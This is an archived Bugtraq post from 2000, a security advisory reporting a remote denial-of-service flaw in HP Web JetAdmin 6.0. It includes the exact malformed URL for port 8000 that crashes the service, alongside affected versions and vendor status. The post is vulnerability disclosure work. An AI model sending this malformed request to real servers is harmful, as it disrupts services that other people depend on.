Bugtraq mailing list archives
HP Web JetAdmin Version 6.0 Remote DoS attack Vulnerability
From: labs () USSRBACK COM (Ussr Labs)
Date: Wed, 24 May 2000 05:50:48 -0300
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 HP Web JetAdmin Version 6.0 Remote DoS attack Vulnerability USSR Advisory Code: USSR-2000042 Release Date: May 24, 2000 Affected Software Versions HP Web JetAdmin Version 6.0 (Microsoft Windows 2000) HP Web JetAdmin Version 6.0 (Microsoft Windows NT 4.0) HP Web JetAdmin Version 6.0 (HP-UX 10.20) (not tested) HP Web JetAdmin Version 6.0 (HP-UX 11.x) (not tested) HP Web JetAdmin Version 6.0 (Linux - SuSE) (not tested) HP Web JetAdmin Version 6.0 (Novell NetWare) (not tested) HP Web JetAdmin Version 6.0 (Red Hat Linux) (not tested) HP Web JetAdmin Version 6.0 (Solaris) (not tested) THE PROBLEM UssrLabs found a memory overflow heap Vulnerability in HP Web JetAdmin Version 6.0 (port 8000) default. What happens is by preforming an attack with a malformed url information to port 8000 it will cause the proccess containg the services to stop responding. Example: Original: http://SeverIp:8000/plugins/hpjwja/script/devices_list.hts?&obj=Httpd: GetProfile(new_list,__null,__null,$__hpjwja_ack_ini)(_deviceList)&clea rFilters=true&_refreshdevicelist=true&_special=new Malformed: http://ServerIp:8000/plugins/hpjwja/script/devices_list.hts?&obj=Httpd :GetProfile(new_list,__null,__null,$ SPECIAL NOTE: That we take no responsibility for this, is for educational purposes only. Vendor Status: Informed. Vendor Url: http://www.hp.com/ Program Url: http://www.hp.com/cposupport/prodhome/hpwebjetad1880.html Fix: Noting Yet Related Links: Underground Security Systems Research http://www.ussrback.com Greetings: Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN, Sub, prizm, b0f,Technotronic and Rfp. Copyright (c) 1999-2000 Underground Security Systems Research. Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of Ussr. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail labs () ussrback com for permission. Disclaimer: The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback: Please send suggestions, updates, and comments to: Underground Security Systems Research mail:labs () ussrback com http://www.ussrback.com u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c h http://www.ussrback.com -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.2 for non-commercial use <http://www.pgp.com> iQA/AwUBOSuX6K3JcbWNj6DDEQJG2ACg0u3LnPMVmFcpDEjmU88ldy3ah5MAn2hq UUI7ZzrjP6FU7/x0cvya9an3 =HDKX -----END PGP SIGNATURE-----
Current thread:
- Re: RFP2K04: Mining BlackICE with RFPickAxe, (continued)
- Re: RFP2K04: Mining BlackICE with RFPickAxe Matt (May 18)
- AUX Security Advisory on Be/OS 5.0 (DoS) visi0n (May 17)
- Re: RFP2K04: Mining BlackICE with RFPickAxe Andrew Lambeth (May 19)
- Remote Dos attack against Intel express 8100 router Dimuthu Parussalla (May 18)
- RFP2K05: NetProwler vs. RFProwler rain forest puppy (May 19)
- Key Generation Security Flaw in PGP 5.0 gec () ACM ORG (May 23)
- Filesystem vulnerability in AIX salme () US IBM COM (May 23)
- Re: RFP2K05: NetProwler vs. RFProwler Pedro Quintanilha (May 23)
- Security Vulnerability in Qpopper 2.53 (Upgrade to 3.0.2) Qpopper Support (May 23)
- Remote xploit for MDBMS |[TDP]| (May 24)
- HP Web JetAdmin Version 6.0 Remote DoS attack Vulnerability Ussr Labs (May 24)
- Re: RFP2K04: Mining BlackICE with RFPickAxe rain forest puppy (May 19)
- revised patches for kerberos vulnerability Tom Yu (May 19)
- Microsoft Security Bulletin (MS00-029) Microsoft Product Security (May 19)
- BindView Security Advisory: jolt2 - Remote DoS against NT, W2K, 9x BindView Security Advisory (May 19)
- Bugtraq Stats for the last 3 years available now. Alfred Huger (May 17)
- KNapster Vulnerability Compromises User-readable Files Tom Daniels (May 10)
- Gnapster Vulnerability Compromises User-readable Files Jim Early (May 10)
- Possible symlink problems with Netscape 4.73 foo (May 10)
- SSH Authentication Vulnerability John P. McNeely (May 10)
- Re: [cert] SSH Authentication Vulnerability Ignacio Kadel-Garcia (May 11)